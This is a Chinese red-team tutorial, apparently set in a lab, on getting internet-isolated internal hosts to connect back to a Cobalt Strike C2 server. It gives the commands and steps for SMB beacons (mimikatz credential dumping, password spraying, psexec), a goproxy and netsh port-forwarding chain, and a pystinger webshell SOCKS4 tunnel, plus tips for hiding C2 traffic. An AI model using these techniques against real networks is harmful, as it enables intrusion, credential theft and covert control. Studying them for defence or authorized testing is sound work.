不出网主机上线方法
字数 1464 2025-08-18 11:36:36

不出网主机上线方法详解

测试环境配置

  • 公网IP段: 192.168.111.0/24
  • 内网IP段: 192.168.204.0/24

主机配置

  1. Web服务器

    • 系统: Windows 2008 R2
    • 角色: DMZ主机
    • 网络配置:
      • 两块网卡: NAT模式 + HOSTONLY模式
      • 可通外网
      • 公网IP: 192.168.111.132
      • 内网IP: 192.168.204.188
  2. 内网主机

    • 系统: Windows 2012
    • 网络配置:
      • HOSTONLY模式
      • 不通外网
      • 内网IP: 192.168.204.141
  3. C2服务器

    • 系统: Kali Linux
    • 公网IP: 192.168.111.129

方法一:SMB Beacon

原理

SMB Beacon使用命名管道通过父级Beacon进行通讯,流量封装在SMB协议中,相对隐蔽。

使用条件

  1. 目标主机必须开放445端口
  2. 只能链接由同一个Cobalt Strike实例管理的Beacon
  3. 必须有目标主机的管理员权限或凭据

操作步骤

  1. 首先获取内网中一台主机的beacon
  2. 使用mimikatz抓取密码
  3. 对目标主机进行SMB喷射,获取administrator账户密码
  4. 建立SMB beacon listener
  5. 使用psexec横向移动,选择现有beacon作为跳板
    • 必须使用administrator凭据
  6. 连接成功后,smb beacon上线的主机右侧会有∞∞标识

方法二:HTTP代理上线

使用工具

goproxy (proxy.exe)

操作步骤

  1. 上传proxy.exe到web服务器
  2. 在8080端口开启HTTP代理:
    C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
    
  3. 使用netsh命令进行端口转发:
    netsh interface portproxy add v4tov4 listenaddress=192.168.204.188 listenport=822 connectaddress=192.168.111.132 connectport=8080
    
    • 注意: 822端口必须未被使用
  4. 检查端口是否启用:
    netstat -ano | findstr :822
    
  5. 创建listener并配置:
    • 类型: HTTP
    • 主机: C2服务器IP
    • 端口: 8080
    • 代理设置: 使用web服务器作为代理
  6. 生成stageless payload
    • 区别:
      • stager: 分阶段,第一阶段申请内存,第二阶段请求shellcode
      • stageless: 包含所有文件,避免shellcode传输问题
  7. 连接过程:
    192.168.204.141 → 192.168.204.188:822 → 192.168.111.132:8080 → C2
    

方法三:pystinger搭建SOCKS4代理

原理

  • 服务端由webshell和stinger_server.exe构成
  • webshell负责流量转发
  • stinger_server.exe处理连接和数据
  • 本质是搭建SOCKS4代理

操作步骤

  1. 上传proxy.php到网站目录
    • 正常访问应返回UTF-8
  2. 上传stinger_server.exe并执行:
    start stinger_server.exe 0.0.0.0
    
  3. 在Kali上执行客户端:
    ./stinger_client -w http://192.168.111.132:81/proxy.php -l 127.0.0.1 -p 60000
    
  4. CS中新建listener:
    • 主机: 192.168.204.188 (web服务器内网IP)
    • 端口: 60020 (转发端口)
  5. 使用psexec横向移动,选择stinger作为listener

关键注意事项

  1. 端口选择:

    • 确保转发端口未被占用
    • 避免使用常见服务端口
  2. 权限要求:

    • SMB beacon必须使用管理员权限
    • 横向移动需要有效凭据
  3. payload选择:

    • 网络不稳定环境建议使用stageless
    • 隐蔽性要求高时考虑SMB beacon
  4. 代理设置:

    • 确保代理链各环节连通
    • 测试每个节点的连接性
  5. 隐蔽性:

    • SMB流量比HTTP更隐蔽
    • 代理可以混淆真实C2地址

参考资源

  1. Cobalt Strike Listener with Proxy
  2. 红队攻防实践:不出网主机搭建内网隧道新思路
  3. DNS与SMB beacon详解与一种内网穿透方法的实践
不出网主机上线方法详解 测试环境配置 公网IP段 : 192.168.111.0/24 内网IP段 : 192.168.204.0/24 主机配置 Web服务器 系统: Windows 2008 R2 角色: DMZ主机 网络配置: 两块网卡: NAT模式 + HOSTONLY模式 可通外网 公网IP: 192.168.111.132 内网IP: 192.168.204.188 内网主机 系统: Windows 2012 网络配置: HOSTONLY模式 不通外网 内网IP: 192.168.204.141 C2服务器 系统: Kali Linux 公网IP: 192.168.111.129 方法一:SMB Beacon 原理 SMB Beacon使用命名管道通过父级Beacon进行通讯,流量封装在SMB协议中,相对隐蔽。 使用条件 目标主机必须开放445端口 只能链接由同一个Cobalt Strike实例管理的Beacon 必须有目标主机的管理员权限或凭据 操作步骤 首先获取内网中一台主机的beacon 使用mimikatz抓取密码 对目标主机进行SMB喷射,获取administrator账户密码 建立SMB beacon listener 使用psexec横向移动,选择现有beacon作为跳板 必须使用administrator凭据 连接成功后,smb beacon上线的主机右侧会有∞∞标识 方法二:HTTP代理上线 使用工具 goproxy (proxy.exe) 操作步骤 上传proxy.exe到web服务器 在8080端口开启HTTP代理: 使用netsh命令进行端口转发: 注意: 822端口必须未被使用 检查端口是否启用: 创建listener并配置: 类型: HTTP 主机: C2服务器IP 端口: 8080 代理设置: 使用web服务器作为代理 生成stageless payload 区别: stager: 分阶段,第一阶段申请内存,第二阶段请求shellcode stageless: 包含所有文件,避免shellcode传输问题 连接过程: 方法三:pystinger搭建SOCKS4代理 原理 服务端由webshell和stinger_ server.exe构成 webshell负责流量转发 stinger_ server.exe处理连接和数据 本质是搭建SOCKS4代理 操作步骤 上传proxy.php到网站目录 正常访问应返回UTF-8 上传stinger_ server.exe并执行: 在Kali上执行客户端: CS中新建listener: 主机: 192.168.204.188 (web服务器内网IP) 端口: 60020 (转发端口) 使用psexec横向移动,选择stinger作为listener 关键注意事项 端口选择 : 确保转发端口未被占用 避免使用常见服务端口 权限要求 : SMB beacon必须使用管理员权限 横向移动需要有效凭据 payload选择 : 网络不稳定环境建议使用stageless 隐蔽性要求高时考虑SMB beacon 代理设置 : 确保代理链各环节连通 测试每个节点的连接性 隐蔽性 : SMB流量比HTTP更隐蔽 代理可以混淆真实C2地址 参考资源 Cobalt Strike Listener with Proxy 红队攻防实践:不出网主机搭建内网隧道新思路 DNS与SMB beacon详解与一种内网穿透方法的实践